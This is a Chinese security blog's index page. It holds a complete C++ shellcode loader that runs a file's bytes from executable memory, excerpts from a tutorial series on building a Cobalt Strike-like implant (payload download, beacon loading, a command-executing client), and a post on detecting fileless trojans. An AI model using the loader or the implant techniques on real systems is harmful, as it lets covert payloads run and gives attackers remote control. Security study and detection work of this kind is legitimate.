二进制安全C/C++ [2022]快速加载shellcode的代码 每次都找,每次都找不到,放着了,不想一个一个找了 ```cpp #include #include #include #include using namespace std; void load(char* buf, int shellcode_size) { DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 char* shellcode = (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); CopyMemory(shellcode, buf, shellcode_size); //CreateThread函数,创建线程 hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 若成功,接收新创建的线程的线程ID DWORD变量的地址。 ); //通过调用 WaitForSingleObject 函数来监视事件状态,当事件设置为终止状态(WaitForSingleObject 返回 WAIT_OBJECT_0)时,每个线程都将自行终止执行。 WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 } int wmain(int argc, char* argv[]) { char filename[] = "c:\\f.bin"; // 以读模式打开文件 ifstream infile; //以二进制方式打开 infile.open(filename, ios::out | ios::binary); infile.seekg(0, infile.end); //追溯到流的尾部 int length = infile.tellg(); //获取流的长度 infile.seekg(0, infile.beg);//回溯到流头部 char* data = new char[length]; //存取文件内容 if (infile.is_open()) { cout << "reading from the file" << endl; infile.read(data, length); } cout << "size of data =" << sizeof(data) << endl; cout << "size of file =" << length << endl; /* for (int i = 0; i < length; i++) { printf("\\%x ", data[i]); } */ int shellcode_size = length; load(data, shellcode_size); //加载成功并不会输出,推测load函数新创建的线程执行结束后,主进程也终止了。 cout << "加载成功"; system("pause"); return 0; } ``` 阅读全文 2022-10-08 huoji 0 条评论
系统安全C/C++易语言 [2022]填鸭式shellcode编写教程 (五) 客户端第一个指令 是时候让客户端链接我们的服务端了! ### 确定需求 凡事先确定一下需求,根据上一章服务端的配置,我们客户端有如下需求: 1. 循环链接服务端 2. 校验服务端的密码是否正确 3. 执行服务端发送的指令 4. 返回回显给服务端 其中第四步本系列不再讨论留作家庭作业.我们来实现前三步 阅读全文 2022-09-09 huoji 0 条评论
python二进制安全 [2022]填鸭式shellcode编写教程 (四) 服务端编写 是时候编写我们的服务端了,之前都是客户端 服务端就不用c++了,那玩意谁用谁知道,两个字 癌症.所以服务端改成http的服务端.这边**你要准备好python3,并且把pip的源换成国内的.** ### 安装好flask 假设你准备好了 **python3,并且把pip的源换成国内的** 你只需要在命令行输入 `python -m pip install flask` 即可安装好flask.然后找个目录新建一个.py文件 新手推荐使用jb全家桶作为IDE.但是我个人喜欢vscode.总之不要使用 不要使用 不要使用 notepad或者notepad++ 阅读全文 2022-09-08 huoji 1 条评论
二进制安全汇编 [2022]填鸭式shellcode编写教程 (三) 重定位文件 根据前两章的路线,现在是能实现了下载,但是还缺少重要的一步: 我们是能下载,但是没办法加载. 本章节将会指导如何加载我们的bacon 阅读全文 2022-09-07 huoji 0 条评论
二进制安全C/C++ [2022]填鸭式shellcode编写教程 (二) payload下载 上一章后,我们实现了初步的shellcode,但是距离实现我们的功能还有一段时间. 本章将会介绍关键的payload下载.准备好加载我们的主要功能 首先需要准备一个http服务器,我这边偷懒使用hfs了. 阅读全文 2022-09-07 huoji 0 条评论
二进制安全C/C++ [2022]填鸭式shellcode编写教程 (一) 本系列文章会填鸭式教学编写一个shellcode就像cobal strike、msf那种一样. 本系列分三章: 第一章将介绍实现一个简单的hello world 第二章将实现一个简单的合法的远程协助工具 第三章将分析cobal strike的shellcode并且与第一章第二章对照 不要紧张.本系列很简单的,小白也会.本文不涉及到大量的汇编(本来想手工汇编写的,但是肯定很多人不懂,就整简单的) 阅读全文 2022-09-07 huoji 0 条评论
系统安全工具软件二进制安全C/C++一线开发 [2021]检测Cobalt Strike只使用40行代码 无文件落地的木马主要是一段可以自定位的shellcode组成,特点是没有文件,可以附加到任何进程里面执行。一旦特征码被捕获甚至是只需要xor一次就能改变特征码.由于传统安全软件是基于文件检测的,对目前越来越多的无文件落地木马检查效果差. **基于内存行为特征的检测方式,可以通过检测执行代码是否在正常文件镜像区段内去识别是否是无文件木马.由于cobaltstrike等无文件木马区段所在的是private内存,所以在执行loadimage回调的时候可以通过堆栈回溯快速确认是否是无文件木马** 检测只需要40行代码: 1. 在loadimagecallback上做堆栈回溯 2. 发现是private区域的内存并且是excute权限的code在加载dll,极有可能,非常有可能是无文件木马或者是shellcode在运行 核心代码如下: 阅读全文 2021-07-25 huoji 0 条评论